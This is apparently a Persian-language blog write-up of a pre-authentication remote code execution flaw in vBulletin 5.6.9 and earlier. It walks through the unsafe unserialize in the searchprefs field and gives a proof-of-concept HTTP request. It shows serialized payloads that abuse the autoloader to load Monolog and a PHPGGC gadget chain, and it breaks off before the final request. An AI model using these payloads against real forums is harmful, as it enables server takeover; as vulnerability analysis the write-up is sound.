محققای Ambionics در اواخر آگوست 2022 ، یه آسیب پذیری اجرای کد از راه دور قبل از احراز هویت در vBulletin نسخه های 5.6.9 و پایینتر ، کشف و گزارش کردن.
آسیب پذیری در نسخه های 5.6.9 PL1 و 5.6.8 PL1 و 5.6.7 PL1 اصلاح شده و البته CVE هم براش داده نشد.
بررسی آسیب پذیری :
Object-Relational Mapper یا به اختصار ORM در ویبولتن به سادگی پیاده سازی میشن. هر شی توسط vB_DataManager اکستند میشه و توسط ویژگی validfields تعریف میشه که فیلدهای اون لیستی از ویژگی ها و فیلدهای شی رو نمایش میده. برای مثال فیلدهای ابتدایی کلاس User بصورت زیر تعریف شده :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
class vB_DataManager_User extends vB_DataManager { /** * Array of recognised and required fields for users, and their types * * @var array */ protected $validfields = array( 'userid' => array( vB_Cleaner::TYPE_UINT, vB_DataManager_Constants::REQ_INCR, vB_DataManager_Constants::VF_METHOD, 'verify_nonzero' ), 'username' => array( vB_Cleaner::TYPE_STR, vB_DataManager_Constants::REQ_YES, vB_DataManager_Constants::VF_METHOD ), 'email' => array( vB_Cleaner::TYPE_STR, vB_DataManager_Constants::REQ_YES, vB_DataManager_Constants::VF_METHOD, 'verify_useremail' ), ... ); |
همونطور که مبینید هر فیلد بصورت یه آرایه تعریف میشه که در ابتدا نوع اون رو مشخص میکنیم ، در ادامه اینکه آیا این فیلد ضروری هست یا نه ( ضروری به لحاظ پر کردن توسط کاربر مثلا) و یه تابع که بررسی میکنه تا مقدار فیلد رو اعتبارسنجی کنه و اگه نیاز باشه اونو اصلاح کنه.
در همون مثال بالا اگه ایمیل رو بررسی کنیم ، این فیلد از نوع رشته ای هستش (vB_Cleaner::TYPE_STR) ، یه فیلد ضروری هستش (vB_DataManager_Constants::REQ_YES) و در نهایت توسط تابع verify_useremail بررسی و تایید میشه.
وقتی یه کاربر میخواد ثبت نام کنه ، ویبولتن یه نمونه از vB_DataManager_User ایجاد میکنه و اگه اعتبارسنجی به مشکل بخوره ، مثلا تابع مقدار false رو برگردونه یا نوع داده ورودی اشتباه باشه ، ویبولتن یه خطا برمیگردونه.
حالا ویبولتن گاهی اوقات به فیلدهایی با داده های پیچیده مثله آرایه نیاز داره. برای اینکار ویبولتن داده ها رو serialize میکنه. برای این منظور وقتی داده این شکلی رو میخواد در دیتابیس ذخیره کنه با تابع serialize اونو serialize میکنه و هنگامی که میخواد از دیتابیس بخونه با تابع unserialize اونو deserialized میکنه. این کار اگه به درستی انجام بشه خطرات امنیتی نداره.
یکی از این فیلدهای آرایه ای searchprefs در کلاس vB_DataManager_User هستش که بصورت زیر تعریف میشه :
1 2 3 4 5 6 |
'searchprefs' => array( vB_Cleaner::TYPE_NOCLEAN, vB_DataManager_Constants::REQ_NO, vB_DataManager_Constants::VF_METHOD, 'verify_serialized' ), |
همونطور که میبنید ، این فیلد توسط تابعی بنام verify_serialized اعتبارسنجی میشه. این تابع این کارو بصورت زیر اعتبارسنجی میکنه:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
function verify_serialized(&$data) { if ($data === '') { $data = serialize(array()); return true; } else { if (!is_array($data)) { $data = unserialize($data); // <--------- if ($data === false) { return false; } } $data = serialize($data); } return true; } |
خب همونطور که مشاهده میکنید ، ویبولتن در ابتدا داده رو deserialize میکنه و بعد خطاهای اونو بررسی میکنه.
با توجه به اینکه فیلد searchprefs هنگام ثبت نام ، توسط کاربر پر میشه ، امکان unserialize قبل از احراز هویت رو به مهاجم میده. POC برای این مورد میتونه به شکل زیر باشه :
1 2 3 4 5 6 7 8 9 10 11 12 13 |
POST /ajax/api/user/save HTTP/1.1 Host: 172.17.0.2 securitytoken=guest &options= &adminoptions= &userfield= &userid=0 &user[email]=pown@pown.net &user[username]=toto &password=password &user[password]=password &user[searchprefs]=O:12:"PDOStatement":0:{} |
اکسپلویت :
برای اکسپلویت unserialize عمدتا دو راه وجود داره : یکی اینکه با استفاده از PHPGGC ، برای کتابخونه های شناخته شده پیلود درست کنیم یا اینکه در کدها یه gadget chain جدید پیدا کنیم.
برای ویبولتن این دو مورد بهینه نیستن. روش دوم به دلیل اینکه در ویبولتن هر کلاس از ویژگی (trait) ، vB_Trait_NoSerialize استفاده میکنه ، وقتی __wakeup یا __unserialize و امثال اینا فرخوانی میشه یه استثناء ایجاد میشه. بنابراین کدی که توسط توسعه دهندگان ویبولتن ایجاد شده ، نمیتونه برای اکسپلویت کردن مورد استفاده قرار بگیره.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
trait vB_Trait_NoSerialize { public function __wakeup() { throw new Exception('Serialization not supported'); } public function __unserialize() { throw new Exception('Serialization not supported'); } ... } |
در مورد روش اول هم ، PHPGGC از کتابخونه Monolog پشتیبانی میکنه ، اما امکان اکسپلویت با پیلود monolog/rce رو نداریم. دلیلشم اینه که اگرچه این کتابخونه در مسیر packages/googlelogin/vendor/monolog هستش، اما غیرقابل دسترس هستش. بسته googlelogin بطور پیش فرض در ویبولتن غیرفعاله و هیچکدوم از فایلهای اونم توسط ویبولتن لوود نمیشن.
برای اینکه بتونیم از unserialize سوء استفاده کنیم ، میتونیم از فراخوانی autoloaderها استفاده کنیم. در پروژه های PHP اگه شما بخوایید از یه کتابخونه شخص ثالث استفاده کنید باید اونو include یا require کنیدش. برای پروژه های کوچیک این روش جوابگو هستش اما برای پروژه های بزرگ نه. دلیلشم اینه که اولا برای هر فایل کدی که مینویسید باید این موارد اضافه کنید ، برخی اوقات ممکنه به کلاسی نیاز داشته باشید و برای پیدا کردنش به مشکل بخورید. یه مشکل دیگه هم اینکه ممکنه یه کتابخونه بسته به نیاز ،چندین بار لوود بشه که مموری رو الکی میخوره. برای حل این روش از Autoloading استفاده میکنن.
در این روش وقتی به کلاسی نیاز داریم، قبل از لوود بررسی میشه که آیا کتابخونه اون کلاس قبلا لوود شده یا نه ، اگه لوود نشده بود اونو لوود میکنه. که باعث بهینه سازی هم در کدنویسی میشه و هم در مصرف منابع. برای این منظور هم ،کلاسها رو در یه فایلی بنام autoloader مینویسن. یه ابزاری بنام Composer هم برا این منظور استفاده میشه.
مانند هر پروژه دیگه PHP ، ویبولتن هم یسری autoloader رو تعریف میکنه. کد ساده شده اون بصورت زیر هستش :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 |
spl_autoload_register(array('vB', 'autoload')); class vB { public static function autoload($classname, $load_map = false, $check_file = true) { $fclassname = strtolower($classname); $segments = explode('_', $fclassname); switch($segments[0]) // [1] { case 'vb': $vbPath = true; $filename = VB_PATH; // ./vb/ break; case 'vb5': $vbPath = true; $filename = VB5_PATH; // ./vb5/ break; default: $vbPath = false; $filename = VB_PKG_PATH; // ./packages/ break; } if (sizeof($segments) > ($vbPath ? 2 : 1)) { $filename .= implode('/', array_slice($segments, ($vbPath ? 1 : 0), -1)) . '/'; // [2] } $filename .= array_pop($segments) . '.php'; // [3] if(file_exists($filename)) require($filename); // [4] } } |
autoloader نام کلاس رو میگیره و اسم اونو به حروف کوچک تبدیل میکنه ، بعدش با جدا کننده _ اسم کلاس رو از هم جدا میکنه. بخش اول این جدا کننده (عدد یک در کد بالا) مشخص کننده base directory هستش، قسمت دوم نام دایرکتوری ، قسمت سوم نام فایل رو نشون میده و قسمت چهارم مسیر فایل.
برای مثال اولین باری که ویبولتن کلاس vB_DataManager_User رو ایجاد میکنه ، این کلاس برای PHP ناشناخته هستش. ویبولتن vB::autoload رو فراخوانی میکنه و این تابع برای این کلاس فایلی که شامل این کلاس هست یعنی vb/datamanager/user.php ایجاد و لوود میکنه. د ر نتیجه کلاس تعریف شده و برای PHP شناخته شده هستش .
autoloader در ویبولتن یه ویژگی جالب داره و اونم اینکه با توجه به اسم کلاس ، میتونه هر فایل PHP در پروژه رو بگیره. یعنی با دادن A_B_C میره و فایل a/b/c.php رو لوود میکنه. اگه این فایل نباشه ، موجب کرش میشه.
یه ویژگی هم در لوود کلاسها در unserialize وجود داره و اونم اینکه اگه شی رو deserialize کنیم که اسم کلاسش وجود نداره ، استثناء ایجاد نمیکنه و کرش هم نمیشه و یه نمونه از __PHP_Incomplete_Class رو برمیگردونه . این شی به دلیل اینکه دسترسی به متدها و ویژگیهاش نداریم به درد مهاجم نمیخوره ، اما نکته مهم اینه که فرایند deserialize کرش نمیکنه و ادامه پیدا میکنه.
خب میرسیم به بخش اصلی اکسپلویت ، ما میتونیم packages/googlelogin/vendor/autoload.php که حاوی autoloader برای کلاسهای Monolog هستش رو با یه کلاس جعلی لوود کنیم:
1 |
O:27:"googlelogin_vendor_autoload":0:{} |
مراحل زیر برای این پیلود اجرا میشه :
- تابع unserialize سعی میکنه کلاس googlelogin_vendor_autoload رو لوود کنه.
- چنین نامی وجود نداره و بنابراین autoloader فراخونی میشه.
- تابع vB::autoload فایل packages/googlelogin/vendor/autoload.php رو میسازه و لودش میکنه.
- اگر چه فایل وجود داره اما چنین کلاسی وجود نداره.
- تابع unserialize مقدار __PHP_Incomplete_Class رو برمیگردونه و اجرا ادامه داره
کاری که کردیم این بود که باعث شدیم autoloader ویبولتن یه autoloader دیگه رو لوود کنه. خب حالا کلاسهای Monolog لوود شدن و میتونیم با PHPGGC اکسپلویتش کنیم. برای این منظور پیلود ما شامل اسم تابع جعلی و پیلود تولید شده توسط PHPGGC هستش :
1 |
a:2:{i:0;O:27:"googlelogin_vendor_autoload":0:{}i:1;O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";...}} |
برای اکسپلویت یه پیلود برای PHPGGC هم ایجاد کردن :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
<?php namespace GadgetChain\vBulletin; require_once(__DIR__ . "/../../../Monolog/RCE/1/chain.php"); # See https://www.ambionics.io/blog/vbulletin-unserializable-but-unreachable class RCE1 extends \GadgetChain\Monolog\RCE1 { public static $version = '-5.6.9+'; public static $vector = '__destruct'; public static $author = 'cfreal'; public function generate(array $parameters) { return [ new \googlelogin_vendor_autoload(), parent::generate($parameters) ]; } } |
و در نهایت اونو بصورت یه درخواست میفرستیم :